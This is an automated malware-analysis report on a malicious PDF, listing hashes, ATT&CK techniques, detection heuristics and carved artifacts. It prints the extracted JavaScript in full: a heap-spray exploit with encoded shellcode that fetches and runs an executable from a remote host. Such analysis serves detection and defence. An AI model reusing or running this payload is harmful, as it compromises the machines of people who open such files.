Malicious PDF — malware analysis report

Static analysis result for SHA-256 745d985a39547cd6…

MALICIOUS

PDF

37.7 KB
MD5: 76693fb8156ac64b854c0ffa504a03ab SHA-1: 561297a0a110c213aecc815f560b662d47e61b47 SHA-256: 745d985a39547cd6a36ee036575271eae7839ef1dbe4f2b8621dd5db026b1ee9
186 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The PDF file contains embedded JavaScript that is heavily obfuscated using String.fromCharCode and concatenation. The script appears to construct a URL and download a second-stage payload, indicated by the 'ML_NYX_PDF_MALICIOUS' and 'PDF_JS_EXPLOIT_CLUSTER' heuristics. The embedded Flash object (Adobe.swf) may also be part of the exploit chain. The presence of a benign URL alongside an unknown one suggests a potential C2 or download location.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 8

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • RichMedia (Flash) high PDF_RICHMEDIA
    PDF contains /RichMedia (Adobe Flash) which is a historic exploit vector
  • ASCIIHexDecode filter (with exploit indicators) medium PDF_FILTER_HEX
    Hex-encoding filter present alongside exploit delivery indicators — often used to hide payload or shellcode bytes
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.flashandmath.com In PDF document text
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In PDF document text
    • http://adobe.com/AS3/2006/builtinIn PDF document text

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
Adobe.swf
ce5f7936cf8e3536a88a804ce2d6902022df1794fa878bdc64a26866e34ba989		 pdf-embedded-file PDF EmbeddedFile object 16 at offset 0xAA7 55839 bytes
javascript_obj0006_000.js
a4aee18a1ae9be857b0b8e4428176c2910801c64d276d2fd9ac74b53304823ca		 pdf-javascript-stream PDF /JS object 6 at offset 0xF5 1564 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var padding = String.fromCharCode(37008) + String.fromCharCode(37008);var html = padding + '\u46EB\u315F\u83C9\u01E9\uFE89\uC030\u012C\uAEF2\u47FE\u89FF\u30FB\u2CC0\uF201\uFEAE\uFF47\uFD89\uAEF2\u47FE\uEBFF\u6071\uC931\u8B64\u3071\u768B\u8B0C\u1C76\u5E8B\u8B08\u2056\u368B\u3966\u184A\uF275\u5C89\u1C24\uC361\u5BEB\u8B60\u246C\u8B24\u3C45\u548B\u7805\uEA01\u4A8B\u8B18\u205A\uEB01\u34E3\u8B49\u8B34\uEE01\uFF31\uC031\uACFC\uC084\u0774\uCFC1\u0112\uEBC7\u3BF4\u247C\u7528\u8BE1\u245A\uEB01\u8B66\u4B0C\u5A8B\u011C\u8BEB\u8B04\uE801\u4489\u1C24\uC361\u54EB\uD231\u5252\u5553\uFF52\uEBD0\uEB1A\uE85D\uFF7B\uFFFF\uE7BA\u8BBA\u52C4\uE850\uFF92\uFFFF\uD231\uFF52\uEBD0\uE82D\uFF63\uFFFF\uAABA\u8A6E\u52F3\uE850\uFF7A\uFFFF\uD231\uC283\u83FF\uFAEA\u5352\uD0FF\uC9EB\u47BA\uC87D\u52A0\uE850\uFF60\uFFFF\uAEEB\u5DEB\u34E8\uFFFF\uBAFF\uCE12\u091A\u5052\u4BE8\uFFFF\u56FF\uD0FF\uDAEB\uF9E8\uFFFE\u75FF\u6C72\u6F6D\u2E6E\u6C64\uFF6C\u2E2E\u752F\u6470\u7461\u2E65\u7865\uFF65\u7468\u7074\u2F3A\u6F2F\u6F6C\u6F6C\u6F6C\u632E\u6D6F\u756C\u632E\u6D6F\u632F\u2F2F\u6F64\u6E77\u6F6C\u6461\u665F\u6C69\u2E65\u6870\u3F70\u3D65\u6441\u626F\u2D65\u3032\u3031\u322D\u3838\uFF34\u03CD';while (padding.length < 65564){	padding+=padding;}var value = padding.substring(0, 0x5f4);value += html;value += padding;var destination = value.substring(0, 32768);while(1){	destination += destination;	if(destination.length >= 524288) break;}var today = destination.substring(0, 524288 - 2060);var forever = new Array();for (var infinite = 0; infinite < 496; infinite++){	forever[infinite]=today+'s';}

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